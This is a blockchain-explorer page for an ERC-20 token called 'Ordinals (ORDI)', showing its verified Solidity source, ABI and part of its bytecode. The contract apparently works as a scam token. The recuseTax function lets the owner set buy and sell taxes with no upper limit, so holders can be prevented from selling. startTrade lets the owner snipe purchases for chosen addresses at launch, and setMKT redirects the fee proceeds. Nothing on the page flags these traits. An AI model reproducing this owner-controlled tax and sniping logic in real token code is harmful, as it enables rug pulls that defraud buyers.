ETH Price: $3,482.26 (+2.68%)

Token

Ordinals (ORDI)
 

Overview

Max Total Supply

21,000,000 ORDI

Holders

100

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
22.985946107766352501 ORDI

Value
$0.00
0xf5730ebe3206cbc93b0b2a9fa8d7b8a6841f225b
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
Token

Compiler Version
v0.8.17+commit.8df45f5f

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-11-07
*/

// SPDX-License-Identifier: MIT

/*

    Twitter :https://twitter.com/ordinals_erc20
    TG : https://t.me/Ordinals_ETH
    Website : https://ordierc20.space

*/


pragma solidity ^0.8.4;

interface IERC20 {
    function decimals() external view returns (uint8);
    function symbol() external view returns (string memory);
    function name() external view returns (string memory);
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

interface IUniswapRouter {

    function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;

    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

interface IUniswapFactory {
    function getPair(address tokenA, address tokenB) external view returns (address pair);
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

abstract contract Ownable {
    address internal _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = msg.sender;
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == msg.sender, "you are not owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "new is 0");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
}

contract Token is IERC20, Ownable {
    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;

    address payable public mkt;
    address payable private team;
    string private _name;
    string private _symbol;
    uint8 private _decimals;
    mapping(address => bool) public _isExcludeFromFee;
    uint256 private _totalSupply;
    IUniswapRouter public _uniswapRouter;
    mapping(address => bool) public isMarketPair;
    bool private inSwap;
    uint256 private constant MAX = ~uint256(0);
    address public _uniswapPair;
    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }

    uint256 public _walletMAX;
    function setWalletMax(uint8 percentage) public onlyOwner{
        _walletMAX = totalSupply() * percentage / 100;
    }

    constructor (){

        _name = "Ordinals";
        _symbol = "ORDI";
        _decimals = 18;
        uint256 Supply = 21000000;

        _totalSupply = Supply * 10 ** _decimals;
        swapAtAmount = _totalSupply / 1000000;
        _walletMAX = _totalSupply * 2 / 100;

        address receiveAddr = msg.sender;
        _balances[receiveAddr] = _totalSupply;
        emit Transfer(address(0), receiveAddr, _totalSupply);

        mkt = payable(msg.sender);
        team = payable(msg.sender);

        _isExcludeFromFee[address(this)] = true;
        _isExcludeFromFee[receiveAddr] = true;
        _isExcludeFromFee[mkt] = true;
        _isExcludeFromFee[team] = true;

        IUniswapRouter swapRouter = IUniswapRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        _uniswapRouter = swapRouter;
        _allowances[address(this)][address(swapRouter)] = MAX;

        IUniswapFactory swapFactory = IUniswapFactory(swapRouter.factory());
        _uniswapPair = swapFactory.createPair(address(this), swapRouter.WETH());

        isMarketPair[_uniswapPair] = true;
        IERC20(_uniswapRouter.WETH()).approve(
            address(address(_uniswapRouter)),
            ~uint256(0)
        );
        _isExcludeFromFee[address(swapRouter)] = true;

    }

    function setMKT(
        address payable newMKT,
        address payable newTeam
    ) public onlyOwner{
        mkt = newMKT;
        team = newTeam;
    }

    function symbol() external view override returns (string memory) {
        return _symbol;
    }

    function name() external view override returns (string memory) {
        return _name;
    }

    function decimals() external view override returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(msg.sender, recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(msg.sender, spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        if (_allowances[sender][msg.sender] != MAX) {
            _allowances[sender][msg.sender] = _allowances[sender][msg.sender] - amount;
        }
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
        _balances[sender] -= amount;
        _balances[recipient] += amount;
        emit Transfer(sender, recipient, amount);
        return true;
    }

    uint256 public _buyCount=0;
    uint256 private _initialBuyTax=0;
    uint256 private _initialSellTax=0;
    uint256 private _finalBuyTax=25;
    uint256 private _finalSellTax=25;
    uint256 private _reduceBuyTaxAt=0;
    uint256 private _reduceSellTaxAt=0;
    uint256 private _preventSwapBefore=0;

    function recuseTax(
        uint256 newBuy,
        uint256 newSell,
        uint256 newReduceBuy,
        uint256 newReduceSell,
        uint256 newPreventSwapBefore
    ) public onlyOwner {
        _finalBuyTax = newBuy;
        _finalSellTax = newSell;
        _reduceBuyTaxAt = newReduceBuy;
        _reduceSellTaxAt = newReduceSell;
        _preventSwapBefore = newPreventSwapBefore;
    }

    bool public remainHolder = true;
    function changeRemain() public onlyOwner{
        remainHolder = !remainHolder;
    }

    uint256 swapAtAmount;
    function setSwapAtAmount(
        uint256 newValue
    ) public onlyOwner{
        swapAtAmount = newValue;
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) private {
        uint256 balance = balanceOf(from);
        require(balance >= amount, "balanceNotEnough");

        if (inSwap){
            _basicTransfer(from, to, amount);
            return;
        }

        bool takeFee;

        if (isMarketPair[to] && !inSwap && !_isExcludeFromFee[from] && !_isExcludeFromFee[to] && _buyCount > _preventSwapBefore) {
            uint256 _numSellToken = amount;
            if (_numSellToken > balanceOf(address(this))){
                _numSellToken = _balances[address(this)];
            }
            if (_numSellToken > swapAtAmount){
                swapTokenForETH(_numSellToken);
            }
        }

        if (!_isExcludeFromFee[from] && !_isExcludeFromFee[to] && !inSwap) {
            require(startTradeBlock > 0);
            takeFee = true;
            
            // buyCount
            if (isMarketPair[from] && to != address(_uniswapRouter) && !_isExcludeFromFee[to]) {
                _buyCount++;
                require(balanceOf(to) + amount <= _walletMAX,"walletlimit");
            }

            // remainHolder
            if (remainHolder && amount == balance) {
                amount = amount - (amount / 10000);
            }

        }

        _transferToken(from, to, amount, takeFee);
    }

    function _transferToken(
        address sender,
        address recipient,
        uint256 tAmount,
        bool takeFee
    ) private {
        _balances[sender] = _balances[sender] - tAmount;
        uint256 feeAmount;

        if (takeFee) {
            uint256 taxFee;
            if (isMarketPair[recipient]) {
                taxFee = _buyCount > _reduceSellTaxAt ? _finalSellTax : _initialSellTax;
            } else if (isMarketPair[sender]) {
                taxFee = _buyCount > _reduceBuyTaxAt ? _finalBuyTax : _initialBuyTax;
            }
            uint256 swapAmount = tAmount * taxFee / 100;
            if (swapAmount > 0) {
                feeAmount += swapAmount;
                _balances[address(this)] = _balances[address(this)] + swapAmount;
                emit Transfer(sender, address(this), swapAmount);
            }
        }

        _balances[recipient] = _balances[recipient] + (tAmount - feeAmount);
        emit Transfer(sender, recipient, tAmount - feeAmount);

    }

    uint256 public startTradeBlock;
    function startTrade(address[] calldata adrs,uint256 per) public onlyOwner {
        address weth = _uniswapRouter.WETH();
        IERC20(weth).transferFrom(msg.sender,address(this),IERC20(weth).balanceOf(msg.sender));
        for(uint i=0;i<adrs.length;i++){
            swapToken(per,adrs[i]);
        }
        startTradeBlock = block.number;
        uint256 _bal = IERC20(weth).balanceOf(address(this));
        if(_bal > 0){
            IERC20(weth).transfer(msg.sender,_bal);
        }
    }

    function swapToken(uint256 percentage,address to) private lockTheSwap {
        address weth = _uniswapRouter.WETH();
        address[] memory path = new address[](2);
        path[0] = address(weth);
        path[1] = address(this);

        address[] memory sellpath = new address[](2);
        sellpath[0] = address(this);
        sellpath[1] = address(weth);
        uint256 _bal = IERC20(weth).balanceOf(address(this));
        uint256 buyAmount = _uniswapRouter.getAmountsOut(totalSupply()*percentage/10000, sellpath)[1];
        buyAmount = buyAmount > _bal ? _bal : buyAmount;
        if (buyAmount == 0) return;
        _uniswapRouter.swapExactTokensForTokensSupportingFeeOnTransferTokens(
            buyAmount,
            0,
            path,
            address(to),
            block.timestamp
        );
    }

    function removeERC20(address _token) external {
        if(_token != address(this)){
            IERC20(_token).transfer(mkt, IERC20(_token).balanceOf(address(this)));
            mkt.transfer(address(this).balance);
        }
    }

    function swapTokenForETH(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = _uniswapRouter.WETH();
        try _uniswapRouter.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        ) {} catch {}

        uint256 _bal = address(this).balance;
        if (_bal > 0.01 ether){
            mkt.transfer(_bal/10);
            team.transfer(address(this).balance);
        }
    }

    function setFeeExclude(address account, bool value) public onlyOwner{
        _isExcludeFromFee[account] = value;
    }

    receive() external payable {}
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_buyCount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_isExcludeFromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_uniswapPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_uniswapRouter","outputs":[{"internalType":"contract IUniswapRouter","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_walletMAX","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"changeRemain","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isMarketPair","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"mkt","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"newBuy","type":"uint256"},{"internalType":"uint256","name":"newSell","type":"uint256"},{"internalType":"uint256","name":"newReduceBuy","type":"uint256"},{"internalType":"uint256","name":"newReduceSell","type":"uint256"},{"internalType":"uint256","name":"newPreventSwapBefore","type":"uint256"}],"name":"recuseTax","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"remainHolder","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_token","type":"address"}],"name":"removeERC20","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"value","type":"bool"}],"name":"setFeeExclude","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address payable","name":"newMKT","type":"address"},{"internalType":"address payable","name":"newTeam","type":"address"}],"name":"setMKT","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newValue","type":"uint256"}],"name":"setSwapAtAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint8","name":"percentage","type":"uint8"}],"name":"setWalletMax","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"adrs","type":"address[]"},{"internalType":"uint256","name":"per","type":"uint256"}],"name":"startTrade","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"startTradeBlock","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040526000600e819055600f819055601081905560196011819055601255601381905560148190556015556016805460ff191660011790553480156200004657600080fd5b50600080546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a3506040805180820190915260088152674f7264696e616c7360c01b6020820152600590620000b690826200058d565b506040805180820190915260048152634f52444960e01b6020820152600690620000e190826200058d565b506007805460ff191660129081179091556301406f40906200010590600a6200076e565b62000111908262000786565b60098190556200012690620f424090620007a0565b6017556009546064906200013c90600262000786565b620001489190620007a0565b600d5560095433600081815260016020908152604080832085905551938452919283927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a360038054336001600160a01b0319918216811783556004805483169091178155306000818152600860209081526040808320805460ff1990811660019081179092556001600160a01b038a811686528386208054831684179055985489168552828520805482168317905586549098168452818420805490981617909655600a8054737a250d5630b4cf539739df2c5dacb4c659f2488d9616861790559181526002825284812084825282528481206000199055845163c45a015560e01b8152945193949093859363c45a01559383820193909291908290030181865afa15801562000286573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002ac9190620007c3565b9050806001600160a01b031663c9c6539630846001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015620002fd573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620003239190620007c3565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af115801562000371573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620003979190620007c3565b600c8054610100600160a81b0319166101006001600160a01b0393841681029190911791829055900481166000908152600b6020908152604091829020805460ff19166001179055600a5482516315ab88c960e31b8152925193169263ad5c46489260048082019392918290030181865afa1580156200041b573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620004419190620007c3565b600a5460405163095ea7b360e01b81526001600160a01b039182166004820152600019602482015291169063095ea7b3906044016020604051808303816000875af115801562000495573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620004bb9190620007ee565b50506001600160a01b03166000908152600860205260409020805460ff1916600117905550620008129050565b634e487b7160e01b600052604160045260246000fd5b600181811c908216806200051357607f821691505b6020821081036200053457634e487b7160e01b600052602260045260246000fd5b50919050565b601f8211156200058857600081815260208120601f850160051c81016020861015620005635750805b601f850160051c820191505b8181101562000584578281556001016200056f565b5050505b505050565b81516001600160401b03811115620005a957620005a9620004e8565b620005c181620005ba8454620004fe565b846200053a565b602080601f831160018114620005f95760008415620005e05750858301515b600019600386901b1c1916600185901b17855562000584565b600085815260208120601f198616915b828110156200062a5788860151825594840194600190910190840162000609565b5085821015620006495787850151600019600388901b60f8161c191681555b5050505050600190811b01905550565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115620006b057816000190482111562000694576200069462000659565b80851615620006a257918102915b93841c939080029062000674565b509250929050565b600082620006c95750600162000768565b81620006d85750600062000768565b8160018114620006f15760028114620006fc576200071c565b600191505062000768565b60ff84111562000710576200071062000659565b50506001821b62000768565b5060208310610133831016604e8410600b841016171562000741575081810a62000768565b6200074d83836200066f565b806000190482111562000764576200076462000659565b0290505b92915050565b60006200077f60ff841683620006b8565b9392505050565b808202811582820484141762000768576200076862000659565b600082620007be57634e487b7160e01b600052601260045260246000fd5b500490565b600060208284031215620007d657600080fd5b81516001600160a01b03811681146200077f57600080fd5b6000602082840312156200080157600080fd5b815180151581146200077f57600080fd5b611e5380620008226000396000f3fe6080604052600436106101c65760003560e01c806365b61b77116100f7578063a67755c211610095578063d242fbcc11610064578063d242fbcc1461051c578063dd62ed3e1461053c578063f2fde38b14610582578063f71dd7e0146105a257600080fd5b8063a67755c2146104ad578063a9059cbb146104cd578063bc76c052146104ed578063cefab2af1461050257600080fd5b80637cc5b1e6116100d15780637cc5b1e61461043a5780638da5cb5b1461045a578063936c044b1461047857806395d89b411461049857600080fd5b806365b61b77146103cf57806370a08231146103ef578063715018a61461042557600080fd5b8063319c2f64116101645780633f80b6d71161013e5780633f80b6d71461033c5780634bf28fd01461035c578063553193ca146103995780636402511e146103af57600080fd5b8063319c2f64146102ba57806336b2e027146102dc5780633ecad2711461030c57600080fd5b80631b583749116101a05780631b5837491461024c57806323b872dd1461026257806327b1a8e914610282578063313ce5671461029857600080fd5b806306fdde03146101d2578063095ea7b3146101fd57806318160ddd1461022d57600080fd5b366101cd57005b600080fd5b3480156101de57600080fd5b506101e76105c2565b6040516101f491906118f1565b60405180910390f35b34801561020957600080fd5b5061021d610218366004611954565b610654565b60405190151581526020016101f4565b34801561023957600080fd5b506009545b6040519081526020016101f4565b34801561025857600080fd5b5061023e600d5481565b34801561026e57600080fd5b5061021d61027d366004611980565b61066b565b34801561028e57600080fd5b5061023e600e5481565b3480156102a457600080fd5b5060075460405160ff90911681526020016101f4565b3480156102c657600080fd5b506102da6102d53660046119c1565b610702565b005b3480156102e857600080fd5b5061021d6102f73660046119eb565b60086020526000908152604090205460ff1681565b34801561031857600080fd5b5061021d6103273660046119eb565b600b6020526000908152604090205460ff1681565b34801561034857600080fd5b506102da610357366004611a08565b61075e565b34801561036857600080fd5b50600c546103819061010090046001600160a01b031681565b6040516001600160a01b0390911681526020016101f4565b3480156103a557600080fd5b5061023e60185481565b3480156103bb57600080fd5b506102da6103ca366004611a43565b61079f565b3480156103db57600080fd5b50600a54610381906001600160a01b031681565b3480156103fb57600080fd5b5061023e61040a3660046119eb565b6001600160a01b031660009081526001602052604090205490565b34801561043157600080fd5b506102da6107ce565b34801561044657600080fd5b50600354610381906001600160a01b031681565b34801561046657600080fd5b506000546001600160a01b0316610381565b34801561048457600080fd5b506102da610493366004611a6a565b610842565b3480156104a457600080fd5b506101e7610897565b3480156104b957600080fd5b506102da6104c83660046119eb565b6108a6565b3480156104d957600080fd5b5061021d6104e8366004611954565b6109db565b3480156104f957600080fd5b506102da6109e8565b34801561050e57600080fd5b5060165461021d9060ff1681565b34801561052857600080fd5b506102da610537366004611aa3565b610a26565b34801561054857600080fd5b5061023e610557366004611aa3565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b34801561058e57600080fd5b506102da61059d3660046119eb565b610a7e565b3480156105ae57600080fd5b506102da6105bd366004611ad1565b610b44565b6060600580546105d190611b4c565b80601f01602080910402602001604051908101604052809291908181526020018280546105fd90611b4c565b801561064a5780601f1061061f5761010080835404028352916020019161064a565b820191906000526020600020905b81548152906001019060200180831161062d57829003601f168201915b5050505050905090565b6000610661338484610e0b565b5060015b92915050565b6000610678848484610e6c565b6001600160a01b0384166000908152600260209081526040808320338452909152902054600019146106f8576001600160a01b03841660009081526002602090815260408083203384529091529020546106d3908390611b9c565b6001600160a01b03851660009081526002602090815260408083203384529091529020555b5060019392505050565b6000546001600160a01b031633146107355760405162461bcd60e51b815260040161072c90611baf565b60405180910390fd5b60648160ff1661074460095490565b61074e9190611bda565b6107589190611bf1565b600d5550565b6000546001600160a01b031633146107885760405162461bcd60e51b815260040161072c90611baf565b601194909455601292909255601355601455601555565b6000546001600160a01b031633146107c95760405162461bcd60e51b815260040161072c90611baf565b601755565b6000546001600160a01b031633146107f85760405162461bcd60e51b815260040161072c90611baf565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b0316331461086c5760405162461bcd60e51b815260040161072c90611baf565b6001600160a01b03919091166000908152600860205260409020805460ff1916911515919091179055565b6060600680546105d190611b4c565b6001600160a01b03811630146109d8576003546040516370a0823160e01b81523060048201526001600160a01b038381169263a9059cbb9291169083906370a0823190602401602060405180830381865afa158015610909573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061092d9190611c13565b6040516001600160e01b031960e085901b1681526001600160a01b03909216600483015260248201526044016020604051808303816000875af1158015610978573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061099c9190611c2c565b506003546040516001600160a01b03909116904780156108fc02916000818181858888f193505050501580156109d6573d6000803e3d6000fd5b505b50565b6000610661338484610e6c565b6000546001600160a01b03163314610a125760405162461bcd60e51b815260040161072c90611baf565b6016805460ff19811660ff90911615179055565b6000546001600160a01b03163314610a505760405162461bcd60e51b815260040161072c90611baf565b600380546001600160a01b039384166001600160a01b03199182161790915560048054929093169116179055565b6000546001600160a01b03163314610aa85760405162461bcd60e51b815260040161072c90611baf565b6001600160a01b038116610ae95760405162461bcd60e51b815260206004820152600860248201526706e657720697320360c41b604482015260640161072c565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6000546001600160a01b03163314610b6e5760405162461bcd60e51b815260040161072c90611baf565b600a54604080516315ab88c960e31b815290516000926001600160a01b03169163ad5c46489160048083019260209291908290030181865afa158015610bb8573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610bdc9190611c49565b6040516370a0823160e01b815233600482018190529192506001600160a01b038316916323b872dd91309084906370a0823190602401602060405180830381865afa158015610c2f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c539190611c13565b6040516001600160e01b031960e086901b1681526001600160a01b03938416600482015292909116602483015260448201526064016020604051808303816000875af1158015610ca7573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ccb9190611c2c565b5060005b83811015610d1957610d0783868684818110610ced57610ced611c66565b9050602002016020810190610d0291906119eb565b611129565b80610d1181611c7c565b915050610ccf565b50436018556040516370a0823160e01b81523060048201526000906001600160a01b038316906370a0823190602401602060405180830381865afa158015610d65573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d899190611c13565b90508015610e045760405163a9059cbb60e01b8152336004820152602481018290526001600160a01b0383169063a9059cbb906044016020604051808303816000875af1158015610dde573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e029190611c2c565b505b5050505050565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b03831660009081526001602052604090205481811015610ec85760405162461bcd60e51b815260206004820152601060248201526f0c4c2d8c2dcc6ca9cdee88adcdeeaced60831b604482015260640161072c565b600c5460ff1615610ede57610e04848484611467565b6001600160a01b0383166000908152600b602052604081205460ff168015610f095750600c5460ff16155b8015610f2e57506001600160a01b03851660009081526008602052604090205460ff16155b8015610f5357506001600160a01b03841660009081526008602052604090205460ff16155b8015610f625750601554600e54115b15610fa757306000908152600160205260409020548390811115610f925750306000908152600160205260409020545b601754811115610fa557610fa58161151c565b505b6001600160a01b03851660009081526008602052604090205460ff16158015610fe957506001600160a01b03841660009081526008602052604090205460ff16155b8015610ff85750600c5460ff16155b1561111d5760006018541161100c57600080fd5b506001600160a01b0384166000908152600b602052604090205460019060ff1680156110465750600a546001600160a01b03858116911614155b801561106b57506001600160a01b03841660009081526008602052604090205460ff16155b156110ee57600e805490600061108083611c7c565b9190505550600d54836110a8866001600160a01b031660009081526001602052604090205490565b6110b29190611c95565b11156110ee5760405162461bcd60e51b815260206004820152600b60248201526a1dd85b1b195d1b1a5b5a5d60aa1b604482015260640161072c565b60165460ff1680156110ff57508183145b1561111d5761111061271084611bf1565b61111a9084611b9c565b92505b610e04858585846116fd565b600c805460ff19166001179055600a54604080516315ab88c960e31b815290516000926001600160a01b03169163ad5c46489160048083019260209291908290030181865afa158015611180573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111a49190611c49565b604080516002808252606082018352929350600092909160208301908036833701905050905081816000815181106111de576111de611c66565b60200260200101906001600160a01b031690816001600160a01b031681525050308160018151811061121257611212611c66565b6001600160a01b03929092166020928302919091018201526040805160028082526060820183526000939192909183019080368337019050509050308160008151811061126157611261611c66565b60200260200101906001600160a01b031690816001600160a01b031681525050828160018151811061129557611295611c66565b6001600160a01b0392831660209182029290920101526040516370a0823160e01b81523060048201526000918516906370a0823190602401602060405180830381865afa1580156112ea573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061130e9190611c13565b600a549091506000906001600160a01b031663d06ca61f6127108961133260095490565b61133c9190611bda565b6113469190611bf1565b856040518363ffffffff1660e01b8152600401611364929190611d02565b600060405180830381865afa158015611381573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f191682016040526113a99190810190611d23565b6001815181106113bb576113bb611c66565b602002602001015190508181116113d257806113d4565b815b9050806000036113e8575050505050611459565b600a54604051635c11d79560e01b81526001600160a01b0390911690635c11d7959061142190849060009089908c904290600401611de1565b600060405180830381600087803b15801561143b57600080fd5b505af115801561144f573d6000803e3d6000fd5b5050505050505050505b5050600c805460ff19169055565b6001600160a01b038316600090815260016020526040812080548391908390611491908490611b9c565b90915550506001600160a01b038316600090815260016020526040812080548492906114be908490611c95565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161150a91815260200190565b60405180910390a35060019392505050565b600c805460ff19166001179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061155e5761155e611c66565b6001600160a01b03928316602091820292909201810191909152600a54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156115b7573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906115db9190611c49565b816001815181106115ee576115ee611c66565b6001600160a01b039283166020918202929092010152600a5460405163791ac94760e01b815291169063791ac94790611634908590600090869030904290600401611de1565b600060405180830381600087803b15801561164e57600080fd5b505af192505050801561165f575060015b5047662386f26fc100008111156116ee576003546001600160a01b03166108fc61168a600a84611bf1565b6040518115909202916000818181858888f193505050501580156116b2573d6000803e3d6000fd5b506004546040516001600160a01b03909116904780156108fc02916000818181858888f193505050501580156116ec573d6000803e3d6000fd5b505b5050600c805460ff1916905550565b6001600160a01b038416600090815260016020526040902054611721908390611b9c565b6001600160a01b0385166000908152600160205260408120919091558115611862576001600160a01b0384166000908152600b6020526040812054